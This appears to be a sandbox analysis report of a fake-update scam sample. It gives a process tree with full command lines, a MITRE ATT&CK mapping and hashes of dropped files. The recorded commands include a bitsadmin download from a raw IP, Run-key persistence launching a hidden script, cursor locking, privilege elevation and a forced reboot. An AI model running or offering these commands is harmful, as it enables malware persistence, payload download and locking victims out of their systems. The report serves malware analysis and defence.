        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ff6ab8304c8,0x7ff6ab8304d4,0x7ff6ab8304e0
        5⤵
        Drops file in Program Files directory
        
        PID:7384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --msedge --system-level --verbose-logging --installerdata="C:\Program Files (x86)\Microsoft\Edge\Application\master_preferences" --create-shortcuts=1 --install-level=0
        5⤵
        Drops file in Program Files directory
        
        PID:7420
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ff6ab8304c8,0x7ff6ab8304d4,0x7ff6ab8304e0
        6⤵
        Drops file in Program Files directory
        
        PID:7440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4256,i,17860593040231344852,13744538006003580283,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=8048 /prefetch:8
      4⤵
      PID:7644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4504,i,3588119639445493537,3917358367591380918,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=7884 /prefetch:8
      4⤵
      PID:7652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8224,i,1893186540790471588,15966539759349300005,524288 --field-trial-handle=2456,i,11709987731630264718,13008079129996826021,262144 --variations-seed-version --mojo-platform-channel-handle=8232 /prefetch:8
      4⤵
      PID:8176
- C:\Windows\system32\cscript.exe
  cscript //nologo C:\Users\Public\script.vbs
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window https://fakeupdate.net/win10ue
    3⤵
    PID:5644
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:6256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:6328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process '%~f0' -Verb RunAs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6432
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:6480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type 'using System; using System.Runtime.InteropServices; public struct RECT { public int Left, Top, Right, Bottom; } public class Win32 { [DllImport(\"user32.dll\")] public static extern bool ClipCursor(ref RECT r); }'; Add-Type -AssemblyName System.Windows.Forms; $screen = [System.Windows.Forms.Screen]::PrimaryScreen; $r = New-Object RECT; $r.Left = [int]($screen.Bounds.Width / 2); $r.Top = [int]($screen.Bounds.Height / 2); $r.Right = $r.Left + 1; $r.Bottom = $r.Top + 1; [Win32]::ClipCursor([ref]$r);"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3720
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v1p2mv5b\v1p2mv5b.cmdline"
    3⤵
    PID:5804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD8C.tmp" "c:\Users\Admin\AppData\Local\Temp\v1p2mv5b\CSCF90D29DEE0194B238486525380C455AF.TMP"
      4⤵
      PID:6528
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "run" /t REG_SZ /d "powershell -WindowStyle Hidden -Command \"Start-Process -FilePath 'C:\Users\Public\run.vbs'\"" /f
  2⤵
  - Adds Run key to start application
  PID:2252
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "id" /t REG_SZ /d "cmd /c echo Sat 06/06/2026 3:20:59.15 > \"C:\Users\Public\id.txt\"" /f
  2⤵
  - Adds Run key to start application
  PID:7080
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer myDownloadJob /download /priority foreground http://68.211.161.46/google_validation_mx16.zip C:\Users\Public\Public.zip
  2⤵
  - Download via BitsAdmin
  PID:6152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'C:\Users\Public\Public.zip' -DestinationPath 'C:\Users\Public' -ErrorAction Stop; Remove-Item 'C:\Users\Public\Public.zip' -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:8160
- C:\Windows\system32\shutdown.exe
  shutdown /r /t 02
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:7508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{F11}')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^w')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:7764

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:7204

C:\Windows\system32\cmd.exe
"cmd /c echo Sat 06/06/2026 3:20:59.15 > "C:\Users\Public\id.txt""
1⤵
PID:7216

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38ed855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat
Size 280B
SHA256 17bac672735ce945255182237bca3a700395a112980816deeee080c7ce48c3a9
MD5 4630823fb50e7d48fa9482697a8e1de9
SHA1 5d96b62f0e59363d196fbfaaecce2bc894d22f92
SHA512 d0a72ae5546162d3aed3a2ef5c0886224a126e10f3693cb585bdaf67b08a8121ebd4ebdd25b643e1e573b044af2b20dcae8bc9aee4cb4a8589b5daa32b450864
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\settings.dat
Size 280B
SHA256 da9b20d821a50d6b5819e88a73deb480d31d7fe62266088778b1ad2a6b228345
MD5 f70b7d996df45436a0c124428a73917e
SHA1 57393a749e8378a084c08007f68a578bc4ed69f5
SHA512 5a20c0224e3d87b5552e8f0159173705dcc3fe966454148b4f7737c5457f9219b1b15bc107a4665c0f7cc847e661ad922dc268872b09df0de4f6ddee001eb586
TLSH
T125D022E0FB3C2B08C8803032823EA20A2EA0EC2800038C000EE0080ACC003C08CCC0B8
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

computed_hashes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json
Size 429B
SHA256 b829b0df7e3f2391bfba70090eb4ce2ba6a978ccd665eebf1073849bdd4b8fb9
MD5 5d1d9020ccefd76ca661902e0c229087
SHA1 dcf2aa4a1c626ec7ffd9abd284d29b269d78fcb6
SHA512 5f6e72720e64a7ac19f191f0179992745d5136d41dcdc13c5c3c2e35a71eb227570bd47c7b376658ef670b75929abeebd8ef470d1e24b595a11d320ec1479e3c
TLSH
T10AE055170A1A50B79BB8DB90EE525CA2E8A0A6B1C50438D63E608234B68A11F738347D
MD5 SHA1 SHA512 TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\manifest.json
Size 962B
SHA256 5694c91f7d165c6f25daf0825c18b373b0a81ea122c89da60438cd487455fd6a
MD5 e805e9e69fd6ecdca65136957b1fb3be
SHA1 2356f60884130c86a45d4b232a26062c7830e622
SHA512 049662ef470d2b9e030a06006894041ae6f787449e4ab1fbf4959adcb88c6bb87a957490212697815bb3627763c01b7b243cf4e3c4620173a95795884d998a75
TLSH
T1661121366E2FC4260AE00698DC51308AF92453ADD380850E35BCE42E5B744FA430631E
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences
Size 9KB
SHA256 a6de9b3322256a3559594a8055d37ff703a73f12e8c5044f8177867ba6ba57db
MD5 ce71b59bb8b4874530c51f633bd5c618
SHA1 d9edb1c9ad0ab9380b82f9b8de1f4d872783a744
SHA512 e86141e636a2ddb9bdbe85e00bdfbf1d47c65425e9727847b8f800135f72be13c481af7356d5e2deaa935d1d8507d2de1e46671253dcb7e4aae9c512922bffd4
SSDEEP 192:sxRWR9kb/f1sK6tWCqOTAkjmI0pY/gb+WNVdiOmhgrJ:sxRWob/f1sJt83KIY/cVb9
TLSH
T19E12A656AE28A93B5CC7E21DBB297B53E2F5512261C51E4C9BFC970C08DA6DC230781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe58f41f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Preferences~RFe58f41f.TMP
Size 8KB
SHA256 3f509a3c1d9593b3eb3df12a96f7f73fe2760ca0f8c9538ce22ca8712f4b06d8
MD5 9ee09c33836cf35bf20880cb7d3d6d9e
SHA1 b2d69f6af1b1bc31e84ebc0534b869d4533539a1
SHA512 eee3e4148dc6dda4f23b8030bdf804bffd472d78a95e05e32f20fa01a665c9896f5fa05786a9f1e6efde9b6a9f546e624417a138723a314c8790a7886d87dd47
SSDEEP 192:sxRWR9kb/f1sv6tWCqOTAkjmI0pY/gb+WNVdiumhgrJ:sxRWob/f1syt83KIY/cVt9
TLSH
T17612B756AE28A93B5CC7E21EBB397B53E2F5512261C51A4C9BFC970C08DA5DC230781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

95ad06a2-eeed-49ba-9f02-92be59da658b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\95ad06a2-eeed-49ba-9f02-92be59da658b.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State
Size 18KB
SHA256 ecf240bad2cd84e81193e19a3a2a9f663ec9ad48df30a665a7ac7797ff9cc7e6
MD5 e0f6459c1780720667336c87790317e5
SHA1 5b6f17c5248f26e457ea6c733eaad967128cec40
SHA512 c402a704bbfccce6e45d7bdbb199de6de29115ff19d9fceb66a92bf31bcfcd4b98dd2e28f65d3e2e541bee165323433fc68016ba27c4a9d3da1c6626bd7442da
SSDEEP 384:nktNnNnb9m8Nxegq9m+dYgAoQSofL9PrwWyCcg:kjZbgKOvdWoAfL9PdyPg
TLSH
T1BC825A72D964ADEB49E2D4C0A10EF6066E78827BC1483E9CD5FD7B3D31AF5B84312846
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State
Size 3KB
SHA256 e6745fab9910d56777e68f3082f92baad9ce74992a3a76f956cf25351355c8c4
MD5 e914ab136c9c7a67271877d1e1c1a4f6
SHA1 f3eec270a08b39f24a6f6ed780b71c4852f672a7
SHA512 49521c4ed4cfd47771347339c7effe70c81275bc34aa23027bc9325fbfbc421bfeeb366da25666264c10b8be5786a14f8e0adefb0fe59497323febd7b2f90a55
TLSH
T1F881B772A42CEC779AF62944B59E27939E7831B3D942AF44E6C9230800E774C2B49837
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State
Size 4KB
SHA256 b3364f6cfe90dbdd63b720915ae0d729e3754dd89b7a9608b0cb6539714d6935
MD5 02ce8db14a866df7fa1b2fba0a9f8901
SHA1 298cb6513e96a9d131706806b43f21cb01afa965
SHA512 9d71c085d05e5fea43fec3f3401e8566cc57ce48e51318b82c27beb5a94d36ef981384a1f3326417f5131da3eb4b2fd14d456ed25ae475adc30535942f5cf4e9
SSDEEP 96:jGqGNk+TQsFfgkdXD58Frh/cInURcDotovx9IYDxDOBjzuviEDY/a5Z0eUnsmq4a:pGNENHocDUwjc6DY/yq6
TLSH
T1FDA1A772A478EC775EF26945B48E2757AEB42173E885BF89D6D81B0C00D73882749C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe58c2af.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RFe58c2af.TMP
Size 1KB
SHA256 e6b731fe8c9f3210a323e19ab0eaf1223da4a3e9cf4b2cc5bbe44f8f68a5f074
MD5 3acfec67156c674dde75dd7306150239
SHA1 8fcd37c14f3f682b5fc4fc6735e5735b03ba2b76
SHA512 2fd09fe7d607ec78f74299ed66cf75df2bc83d17c0e26b2bfb0bb25b86a39026dcaa0bcf895ce7ba6a49c195814e7928dbff6bed380cfe3622f4cef5f3780ba7
TLSH
T1C031B7B2B47C6CB7ECB20646F24EEB672E34223451425E4812DC171D00E36CC535AC37
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 994380ffd288a5f1a9acc9eb76a487a55b12cc1daec839d811240f6cbdc4da3a
MD5 f5ed4946834be586ac6410ed88740a7c
SHA1 6108ce368e8b3bb8012956bb25606c3b16835c7b
SHA512 76bf60b37c50422ab125edd3da70629e685408a106655a9b7e5cb6aa7b6a9000c76d8ac2f5dc85e58e893b61bef9b539b9488ac894f1fc1338a58944dc9f4711
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P77:fwUQC5VwBIiElEd2K57P77
TLSH
T1E5B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 3eacdfce7dc5d437b4447cf27ab297d2d39d13a22d53487691f060212cddb6b2
MD5 77a76342e47369b91c295856d0d136ad
SHA1 bac334fe99bd25a56aeb5cf09b273fd394730180
SHA512 5594ac61907f341c5e00a7e62a64d33fde684c855aa9b27d0c2756986334fbea5ebaf894d13dfedefe84d1f7ad65aaa17fb6b204714ed08460f06e4ed17ce733
TLSH
T1AAD012223A48F441DB4942709103CF453B26146024579A06E259D86D58B41D453D66C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7aa2bb81937fdcdafd5d33143cfe61093f5233469b36757de171e12cc0c6215f
MD5 6503f091cfa7258a2190ed65490b1bdd
SHA1 d722a7fd3cd82ec30e4846b9511ec1c22b9dacfd
SHA512 5f2a6a53348e4e1b7810b77abe2dd4c597357ba365cf029977f0efbbb203eab9dfb7771c9edb3561b6d22c8b7354c34611905cfbaab36c763b9d3334beb40b4c
TLSH
T1BAD012223A48F441DB4942709102CF453B26146024579A06E259D86D58B51D453D66C2
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_00008c

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00008c
Size 18KB
SHA256 68f6ef88ba434954488867eb97245d36897076869a2bf15cfd14a8f4835f881f
MD5 b13b5655b434d1fe2087f3fd649542a0
SHA1 99f2917138d5906d1bba6e672d7fed3b6203471b
SHA512 e5fb0ece914f7db7184028fac20a16873ad99b39d8914e94dca25abd508e4b3b029967920a98e0aafdb33c1bf0e0a17532e389851bee3948392aa34c1826f453
SSDEEP 384:VIGSduZbIls3uiVOOHT9RrYAyZ0lj3MketmO9dowZQiyqFW29Fpg+w9jDcygOQ:VImuiPT0hYM9TowPyqvgdNDcyk
TLSH
T1CF82D0759B4D291EF0DA3963410617CDB79BCD01ABA848D1188B9F21E09848BF9B25D7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d597b0cd3249315e93e15084c2286e4626a2f5d899de39b663e78ee8f687b7a0
MD5 8003ad7a54867a199140f624174acd16
SHA1 722077f37cffe21fc4a4cd4a012e3aed4710e743
SHA512 a8b94f13c153c3e0209afd408bb4eaaef438f702bd2113b5307aa9e524e3ac2c14f8914bf6e920a3ce25f6899613b0fe53ab56ec7e2e724de1cd14493d1217eb
TLSH
T146716D94459209DED3103232EDEE8E06B131A7D41F5B4E023F78D8BD6A253F389E28E4
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b418.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58b418.TMP
Size 3KB
SHA256 6c77a1373cf01d2ed24dd5ace173a52ea2ce919b2a31ebfe1f31cec4560d8d98
MD5 28f762996571cb4e1c4316901ab92aa5
SHA1 5e8ece84585445ecbf3c74b874e5d22cce284a9a
SHA512 653961346cdd2f2611f3ca1b0b769995004d2f8b20efd3e28876bef9416dbe108719533f5c3a1a210fd791b8cf9bafa4e982366785df7437ee1395b70089e9d2
TLSH
T128712B584A9649DDD3503230EDEE1F5A71318BC41F5B8E123F7488BCA5257F789E28E4
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
